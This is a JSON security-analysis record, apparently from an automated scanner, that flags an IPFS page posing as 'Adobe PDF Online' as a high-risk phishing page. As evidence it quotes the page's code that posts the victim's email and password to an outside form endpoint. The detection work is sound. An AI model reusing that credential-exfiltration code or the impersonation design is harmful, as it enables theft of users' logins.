{"root_cid":"bafybeiealvnqpco5vf6b3k4h3r2dzve5g7bip4ziuchjnb6dy37tbia2ae","model":"openai/gpt-5.4-mini","analyzed_at":"2026-05-05T20:28:53.628Z","result":{"schema_version":1,"category":"Unknown","category_confidence":0.18,"summary":"A fake Adobe PDF viewer page that prompts for email and password and posts credentials to an external form endpoint.","signals":["analysis-context.json: latest_probe.title is 'Adobe PDF Online' for pdfonlineview.eth.","/ipfs/bafybeiealvnqpco5vf6b3k4h3r2dzve5g7bip4ziuchjnb6dy37tbia2ae: title 'Adobe PDF Online' and repeated Adobe branding ('Adobe Cloud Document', 'Adobe Inc. All rights reserved.').","/ipfs/bafybeiealvnqpco5vf6b3k4h3r2dzve5g7bip4ziuchjnb6dy37tbia2ae: modal asks for 'Email:' and 'Password:' and says 'Sign In with Receiver's Email and Password to View document'.","/ipfs/bafybeiealvnqpco5vf6b3k4h3r2dzve5g7bip4ziuchjnb6dy37tbia2ae: credentials are sent with `xhr.open(\"POST\", \"https://submit-form.com/EnFBVahbh\", true);` and `xhr.send(\"email=\" + validEmail + \"&password=\" + validPassword + \"&count=\" + attempt);`"],"quality":{"tier":"low","score":0.18,"is_substantive":true,"is_redirect_only":false,"is_placeholder":false,"rationale":"The page has full HTML/JS behavior, but it is a thin phishing-style template with no legitimate document-viewing functionality."},"security":{"risk":"high","risk_score":0.97,"threat_type":"brand_impersonation","safe_to_list":false,"findings":[{"type":"brand_impersonation","severity":"high","confidence":0.99,"evidence":"`<title>Adobe PDF Online</title>`, `Adobe Cloud Document`, and `&copy; ... Adobe Inc. All rights reserved.`","file":"/ipfs/bafybeiealvnqpco5vf6b3k4h3r2dzve5g7bip4ziuchjnb6dy37tbia2ae"},{"type":"phishing_language","severity":"high","confidence":0.98,"evidence":"`Sign In with Receiver's Email and Password to View document` plus fields labeled `Email:` and `Password:`.","file":"/ipfs/bafybeiealvnqpco5vf6b3k4h3r2dzve5g7bip4ziuchjnb6dy37tbia2ae"},{"type":"phishing_language","severity":"high","confidence":0.99,"evidence":"`xhr.open(\"POST\", \"https://submit-form.com/EnFBVahbh\", true);` and `xhr.send(\"email=\" + validEmail + \"&password=\" + validPassword + \"&count=\" + attempt);`.","file":"/ipfs/bafybeiealvnqpco5vf6b3k4h3r2dzve5g7bip4ziuchjnb6dy37tbia2ae"}]},"files_reviewed":["analysis-context.json","/ipfs/bafybeiealvnqpco5vf6b3k4h3r2dzve5g7bip4ziuchjnb6dy37tbia2ae"]}}